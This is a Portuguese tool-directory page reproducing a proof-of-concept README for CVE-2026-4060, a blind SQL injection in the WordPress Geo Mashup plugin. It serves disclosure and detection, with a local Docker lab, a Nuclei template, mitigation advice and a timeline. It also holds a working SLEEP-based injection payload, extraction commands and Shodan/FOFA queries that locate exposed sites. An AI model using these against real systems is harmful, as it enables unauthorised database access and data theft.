Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-4060-PoC — Prova de conceito para CVE-2026-4060: injeção SQL cega baseada em tempo sem autenticação no plugin Geo Mashup do WordPress via cláusula ORDER BY. Inclui script de exploit, ambiente de laboratório e template de detecção Nuclei. | Kitploit
Ferramentas/GitHubGitHub/ydking0911/cve-2026-4060-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Prova de conceito para CVE-2026-4060: injeção SQL cega baseada em tempo sem autenticação no plugin Geo Mashup do WordPress via cláusula ORDER BY. Inclui script de exploit, ambiente de laboratório e template de detecção Nuclei.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-4060 — PoC de Injeção SQL Não Autenticada no Geo Mashup ≤ 1.13.18

Severity CVSS Type Status

Atacantes não autenticados podem injetar SQL arbitrário na cláusula ORDER BY por meio do parâmetro sort do endpoint render-map do Geo Mashup, permitindo a extração cega baseada em tempo de informações sensíveis do banco de dados.


Índice

  • Visão Geral da Vulnerabilidade
  • Ambiente de Teste
  • Como Executar
  • Resultados dos Testes
  • Mitigação
  • Detecção
  • Cronologia
  • Referências

  • Visão Geral da Vulnerabilidade

    CampoDetalhe
    CVECVE-2026-4060
    PluginGeo Mashup por cyberhobo
    Afetado≤ 1.13.18
    Corrigido em1.13.19
    CVSS v3.17.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    CWECWE-89 — Neutralização Incorreta de Elementos Especiais em SQL
    Autenticação necessáriaNenhuma (não autenticado)

    Detalhe Técnico

    O parâmetro sort aceito pelo endpoint render-map é passado diretamente para uma chamada $wpdb->get_results() sem sanitização:

    root@kitploit:~
    // render-map.php (simplified)
    $sort = $_GET['sort'];
    $results = $wpdb->get_results(
        "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
    );
    

    Como $sort é interpolado diretamente, um atacante pode injetar uma subconsulta na cláusula ORDER BY. O wpdb do WordPress escapa aspas simples, então a PoC usa ORD(SUBSTRING(...)) com comparações numéricas para contornar essa restrição e realizar extração cega baseada em tempo.

    Endpoint vulnerável:

    root@kitploit:~
    GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
    

    Ambiente de Teste

    ComponenteVersão
    SOmacOS (Darwin 25.4.0)
    Docker27.x
    WordPress6.8.2 (PHP 8.2, Apache)
    MariaDB11.4
    Geo Mashup1.13.18 (vulnerável)
    Python3.x (para poc.py)
    Nucleiv3.8.0

    Arquitetura do Laboratório

    root@kitploit:~
    ┌─────────────────────────────────┐
    │  Host (localhost:8080)          │
    │                                 │
    │  ┌─────────────┐  ┌──────────┐  │
    │  │ WordPress   │  │ MariaDB  │  │
    │  │ 6.8.2+PHP82 │──│  11.4    │  │
    │  │ :80         │  │ :3306    │  │
    │  └─────────────┘  └──────────┘  │
    │       + Geo Mashup 1.13.18      │
    └─────────────────────────────────┘
    

    Geo Mashup 1.13.18 ativo no administrador do WordPress:

    Geo Mashup 1.13.18 ativo no administrador do WordPress


    Como Executar

    1. Iniciar o laboratório

    root@kitploit:~
    git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
    cd CVE-2026-4060-PoC
    bash setup.sh
    

    O setup.sh vai:

    • Subir os contêineres WordPress 6.8.2 + MariaDB 11.4
    • Instalar e ativar o Geo Mashup 1.13.18 (versão vulnerável) via WP-CLI
    • Criar um post com geolocalização para que o endpoint do mapa retorne uma resposta válida

    Após a conclusão:

    • Site: http://localhost:8080
    • Administrador: http://localhost:8080/wp-admin (usuário: admin / senha: admin)

    2. Confirmar a vulnerabilidade (injeção SLEEP)

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    Um atraso de resposta de ~8 segundos confirma a injeção SQL em ORDER BY.

    3. Extrair dados (PoC)

    root@kitploit:~
    # Default — print extracted results only
    python3 poc.py --url http://localhost:8080
    
    # Verbose — show each payload, response time, and extracted character
    python3 poc.py --url http://localhost:8080 --verbose
    
    # Confirm SQLi only, skip data extraction
    python3 poc.py --url http://localhost:8080 --confirm-only
    

    4. Executar o template de detecção do Nuclei

    root@kitploit:~
    nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
    

    5. Encerrar o laboratório

    root@kitploit:~
    docker compose down -v
    

    Resultados dos Testes

    Verdadeiro Positivo (TP) — Alvo vulnerável

    TP-1: Injeção ORDER BY SLEEP(8) confirmada

    Injetar uma subconsulta SLEEP(8) via parâmetro sort produz um atraso de resposta de ~8 segundos.

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    SLEEP(8) via ORDER BY — resposta de 8.05s

    TP-2: Extração de dados (modo verboso)

    A PoC extrai dados caractere por caractere usando comparações ORD(SUBSTRING(...)): enviar payload → medir o tempo de resposta → confirmar o caractere quando o SLEEP é acionado.

    root@kitploit:~
    python3 poc.py --url http://localhost:8080 --verbose
    

    poc.py verboso — payload, tempo, caracteres extraídos

    Dados extraídos:

    ConsultaResultado
    VERSION()11.4.10-MariaDB
    DATABASE()wordpress
    USER()[email protected]

    TP-3: Detecção pelo template do Nuclei

    root@kitploit:~
    [CVE-2026-4060] [http] [high]
    http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
    
    Scan completed in 8.07s. 1 matches found.
    

    Falso Positivo (FP) — Alvo não vulnerável

    O template do Nuclei usa um fluxo em duas etapas para evitar falsos positivos.

    FP-1: Geo Mashup não instalado

    Se readme.txt retornar 404 na Etapa 1, o scan sai imediatamente sem enviar o payload SQL.

    root@kitploit:~
    Scan completed in 62ms. 0 matches found.   ✅
    

    FP-2: Versão corrigida (≥ 1.13.19)

    Verificação da versão do plugin via readme.txt:

    readme.txt mostrando Stable tag: 1.13.18

    Se compare_versions(version, '<= 1.13.18') falhar, a Etapa 2 é totalmente ignorada.

    root@kitploit:~
    Scan completed in 19ms. 0 matches found.   ✅
    

    Mitigação

    AçãoDetalhe
    AtualizarAtualize o Geo Mashup para 1.13.19 ou posterior
    TemporárioDesative o plugin até que uma atualização seja aplicada
    WAFBloqueie padrões de injeção de subconsultas em cláusulas ORDER BY

    Commit do patch: plugins.trac.wordpress.org/changeset/3503627


    Detecção

    Template do Nuclei: nuclei/CVE-2026-4060.yaml

    Fluxo de detecção:

    root@kitploit:~
    Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
            → confirm plugin exists + version <= 1.13.18
    
    Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
            → status 200 + GeoMashup.createMap + duration >= 8s
    

    Shodan / FOFA:

    root@kitploit:~
    Shodan: http.html:"geo-mashup"
    FOFA:   body="geo-mashup"
    

    Cronologia

    DataEvento
    2026-04Vulnerabilidade descoberta
    2026-04Reportada ao autor do plugin
    2026-05Patch do Geo Mashup 1.13.19 lançado
    2026-05-14CVE atribuída e divulgada publicamente

    Referências

    • NVD — CVE-2026-4060
    • Aviso da Wordfence
    • Changeset do plugin (correção)
    • CWE-89

    Aviso Legal

    Este repositório destina-se exclusivamente a fins educacionais e de testes de segurança autorizados.
    Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
    O autor não é responsável por qualquer uso indevido deste material.

    Baixar ferramenta